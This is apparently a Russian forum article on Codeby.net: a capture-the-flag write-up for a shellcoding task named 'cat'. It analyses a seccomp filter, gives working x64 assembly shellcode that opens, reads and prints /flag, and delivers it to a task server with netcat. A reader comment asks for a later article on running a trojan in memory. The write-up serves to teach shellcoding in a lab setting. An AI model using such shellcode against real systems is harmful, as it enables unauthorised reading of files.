Статья [0x01] Изучаем таски по написанию шелл-кодов: cat

🖐 Приветствую всех читателей Codeby.net 🖐

Следующая часть

Недавно я начал практиковаться в написании шелл-кодов. Чтобы лучше понять тему нужно объяснить её другому человеку так, чтобы он понял. Поэтому я буду писать о решение задач с Категория: shellcoding.
Существует
видео, как решить эти таски, но я хочу объяснить решение более подробно и в виде статьи.

Я уже писал о некоторых правилах написания шелл-кодов в этой статье

1614868142439.png

Задачи буду называть тасками. Название самого первого задания - .

Описание таска cat:

1614862116966.png


У нас есть точное местоположения файла с флагом и точная задача - прочитать этот флаг.

Изучим программу cat.elf

Программа устроена так, что она исполняет тот ассемблерный код, который мы передали.
При декомпиляции ( По умолчанию нужно нажать F5 ) программы в IDA PRO появляется вот такая ошибка:

1614862403894.png


В программе присутствуют функции seccomp.

1614862536593.png


seccomp (сокр. от secure computing mode) — один из механизмов безопасности , который обеспечивает возможность ограничивать набор доступных для приложений, а также с помощью механизма BPF ( ) производить сложную фильтрацию вызовов и их аргументов.

Seccomp - это фильтр системных вызовов. Чтобы не мучиться с дизассемблированием и изучением запретов и разрешений, один человек с GitHub придумал seccomp-tools.

Устанавливаем с помощью: sudo apt install gcc ruby-dev && gem install seccomp-tools
Используем: seccomp-tools dump ./cat.elf

1614863274669.png


Нам разрешены системные вызовы read, write, open, close ( Линия 0010 - ALLOW ).
Например: мы передаём программе read. Далее программа проверяет наш системный вызов. Он разрешён. Программа переходит к метке 0010 и выполняется дальше.

Напишем шелл-код

При написании шелл-кодов нам понадобятся по номерам системных вызовов.
Эта программа не завершается, если будут нули. Это хорошо :)

C-подобный:
BITS 64 ; Указываем компилятору nasm, что пишем код для архитектуры x64

sub rsp, 0x60 ; Выделяем место в стеке для флага. Можно указать другое число.

;     int open(const char *pathname, int flags, mode_t mode);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 0x2 ; Кладём на стек номер системного вызова open
pop rax ;  Забираем из стека номер системного вызова open в регистр rax
lea rdi, [rel +flag] ; Кладём указатель на метку с флагом в регистр rdi
xor edx, edx ; Обнуляем регистре rdx.
xor esi, esi ; Обнуляем регистре rsi.
syscall ; Системный вызов open

; ssize_t read(int fd, void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

mov rdi, rax ; Перемещаем в rdi файловый дескриптор, после открытия файла с помощью системного вызова open
xor eax, eax ; Номер системного read (0) вызова в rax
mov rsi, rsp ; Передаём в rdi выделенное нами ранее место для флага.
push 0x60 ; Кладём на стек размер выделенного нами места
pop rdx ; Забираем из стека размер выделенного нами места в регистр rdx
syscall ; Системный вызов read

; ssize_t write(int fd, const void *buf, size_t count);
;              arg0 (%rdi), arg1 (%rsi), arg2 (%rdx)

push 1 ; Номер системного вызова write
pop rax; Забираем из стека номер системного вызова write в регистр rax
push 1 ; Файловый дескриптор stdout.
pop rdi ; Забираем из стека номер файлового дескриптора stdout в регистр rax
syscall ; Системный вызов write

flag: ; Метка для адреса со строкой /flag. Вместо этой метки в программе будет адрес на строку
db "/flag" ; Строка /flag

Номера системных вызовов должны быть в регистре rax. Аргументы передаются в порядке rdi, rsi, rdx, r10, r8, r9.

Таблица в :

1614874835124.png



Команда xor edx, edx будет работать в архитектуре x64. Обнуляются байты в edx, а за ними и все остальные. При обнулении регистров этим способом в архитектуре x64 нулей на линии, где расположена наша команда не будет. Проверим: ndisasm -b64 shell

Код:
00000000  4883EC60          sub rsp,byte +0x60
00000004  6A02              push byte +0x2
00000006  58                pop rax
00000007  488D3D1B000000    lea rdi,[rel 0x29]
0000000E  31D2              xor edx,edx
00000010  31F6              xor esi,esi
00000012  0F05              syscall
00000014  4889C7            mov rdi,rax
00000017  31C0              xor eax,eax
00000019  4889E6            mov rsi,rsp
0000001C  6A60              push byte +0x60
0000001E  5A                pop rdx
0000001F  0F05              syscall
00000021  6A01              push byte +0x1
00000023  58                pop rax
00000024  6A01              push byte +0x1
00000026  5F                pop rdi
00000027  0F05              syscall
00000029  2F                db 0x2f
0000002A  666C              o16 insb
0000002C  61                db 0x61
0000002D  67                a32

На линии 0000000E нулей нет.

Теперь команда lea rdi, [rel +flag]. Это команда кладёт указатель на строку с флагом в регистр rdi. Обозначение rel я не нашёл, но @Marylin очень помог с объяснением. Спасибо тебе (y)

REL - от слова Relative, т.е. относительная адресация.
Она присутствует только в 64-битном режиме, и является в нём адресацией по-умолчанию. Её ещё называют "RIP-относительная адресация", когда к текущему значению регистра-указателя RIP прибавляется смещение метки.

Сохраняем код в shell.asm.
Компилируем в бинарный файл: nasm shell.asm -o shell
Испытываем программу на сервере: cat shell | nc 109.233.56.90 11662
Вывод:Shellcode: spbctf{cc88680b25b45a469de6116b590a195a}�H����AP��P���mU�V��%.
Флаг - spbctf{cc88680b25b45a469de6116b590a195a}

Проверка флага:

1614865609203.png


Спасибо за внимание.
 
Последнее редактирование:
Понял, респект за труды.
Но мне кажется, если ты сделаешь статью как сделать шелкод, или как троян сразу в памяти запустить эт буд понятней ребятам, а то эти темы отпугуют, кажется все так сложно. Хотя тупо выдаешь инфу и говоришь - это нужно запомнить. А потом показуешь как это работает, и все))))
 
  • Нравится
Реакции: ROP
Понял, респект за труды.
Но мне кажется, если ты сделаешь статью как сделать шелкод, или как троян сразу в памяти запустить эт буд понятней ребятам, а то эти темы отпугуют, кажется все так сложно. Хотя тупо выдаешь инфу и говоришь - это нужно запомнить. А потом показуешь как это работает, и все))))
Хорошо. Учту при написании будущих статей.
Спасибо за совет (y)
 
  • Нравится
Реакции: mcfly
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!